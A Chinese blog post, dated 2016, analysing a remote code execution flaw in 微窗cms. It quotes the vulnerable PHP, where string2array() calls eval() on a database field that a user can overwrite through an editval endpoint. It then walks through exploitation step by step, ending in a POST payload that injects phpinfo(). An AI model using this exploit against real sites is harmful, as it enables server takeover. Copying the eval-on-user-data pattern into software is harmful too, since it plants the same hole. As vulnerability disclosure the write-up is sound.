IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    微窗cms最新版任意代码执行漏洞分析

    没穿底裤发表于 2016-08-04 17:54:48
    love 0

    漏洞分析

    漏洞触发点其实是string2array()这个函数造成的,先来看一下这个函数体:

    function string2array($data) {
        if(is_array($data)) return $data;
        if($data == '') return array();
        if(!strexists(strtolower($data), 'array')) return array();
        @ini_set('display_errors', 'on');
        @eval("\$array = $data;");
        @ini_set('display_errors', 'off');
        $array = isset($array)?$array:array();
        return is_array($array)?$array:array();
    }

    可以看到其中有个eval(),那么意思是我们只要能够控制住$data这个变量,那么就可以任意代码执行了。

    在/addons/vip/site.php中第1245行:

    public function doWebeditval()
       {
           $arr = array();
           $arr['success'] = 0;
           $arr['val'] = '';
           if ($this->input->post("dosubmit")){
               //
               $id = intval($this->input->post('id'));
               $type = $this->input->post('type');
               $isnum = $this->input->post('isnum');
               $val = $this->input->post('val');
               if ($isnum == 'yes') {
                   $val = intval($val);
               }
               $row = $this->ddb->getone("SELECT * FROM ".table('vip_content'), $this->merge(array('id'=>$id)));
               if (empty($row)) {
                   $arr['message'] = '内容不存在';
                   echo json_encode($arr); exit();
               }
               if (!isset($row[$type])){
                   $arr['message'] = '参数错误';
                   echo json_encode($arr); exit();
               }
               if ($this->ddb->update(table('vip_content'), array($type=>$val), array('id'=>$id))){
                   $arr['success'] = 1;
                   $arr['message'] = '修改成功';
                   $arr['val'] = $val;
               }else{
                   $arr['message'] = '修改失败';
               }
               echo json_encode($arr); exit();
           }else{
               $arr['message'] = '非法操作';
               echo json_encode($arr); exit();
           }
       }

    可以看到这里有一个更新表的操作:

    if ($this->ddb->update(table(‘vip_content’), array($type=>$val), array(‘id’=>$id))

    这里的$type和$val都是通过POST传进来的,是我们可以控制的,那么就是说我们可以自由更新vip_content这张表的任意字段的值。

    同样在/addons/vip/site.php中的第470行:

    public function doWebprivilegerelease()
      {
          global $_A,$_GPC;
          $ufrow = $this->ddb->getone("SELECT userdata FROM ".table("users_functions"), array('id'=>$_A['uf']['id']));
          $userdata = string2array($ufrow['userdata']);
          $id = intval($_GPC['param'][2]);
          $row = array();
          $subtitle = "发布";
          if ($id > 0){
              $row = $this->ddb->getone("SELECT * FROM ".table("vip_content"), $this->merge(array('type'=>'vip', 'id'=>intval($id))));
              if (!empty($row)){
                  $row['startdate'] = date('Y-m-d', $row['startdate']);
                  $row['enddate'] = date('Y-m-d', $row['enddate']);
                  $row['setting'] = string2array($row['setting']);
                  $subtitle = "修改";
              }else{
                  $id = 0;
              }
          }

    在这里我们可以看到对$row[“setting”]这个变量使用了string2array()这个函数,而这个$row[“setting”]的值是表vip_content中setting的值,但是从上文得知,我们可以更新表vip_content中任意字段的值,所以我们可以控制$row[“setting”],那么就可以造成任意代码执行了。

    漏洞利用

    首先我们注册一个账号并登录,然后到首页去创建一个公众号/服务窗,然后选择会员卡选项,如图所示:

    1[1]

    然后选择特权管理->发布会员特权,如图所示:

    2[1]

    然后标题和使用说明随便写,有效日期随便写,会员类型随便勾,如图所示:

    3[1]

    接着提交就可以了,然后我们开始更新vip_content表中的setting字段的值,编辑我们发布的特权:

    4-1024x104[1]

    这个时候需要记下url上的信息,例如我本地的是http://localhost/vwins/index.php/web/vip/privilegerelease/3/?ui=2&al=1&uf=5,我们需要记下的就是privilegerelease/3/? 中间的那个数字,我这里是3,这个就是信息在数据库中的id号,待会我们需要用到。

    然后将这个url改一下,只需要将privilegerelease替换成editval就可以了。然后我们访问payload:

    http://localhost/vwins/index.php/web/vip/editval/3/?ui=2&al=1&uf=5

    POST: id=3&dosubmit=1&type=setting&val=array(1=>2);phpinfo()

    这里的id就是上一步记下的id号。更改完后,我们回到特权列表,再次编辑我们发布的特权,可以发现,phpinfo()已经执行:

    5-1024x413[1]



沪ICP备19023445号-2号
友情链接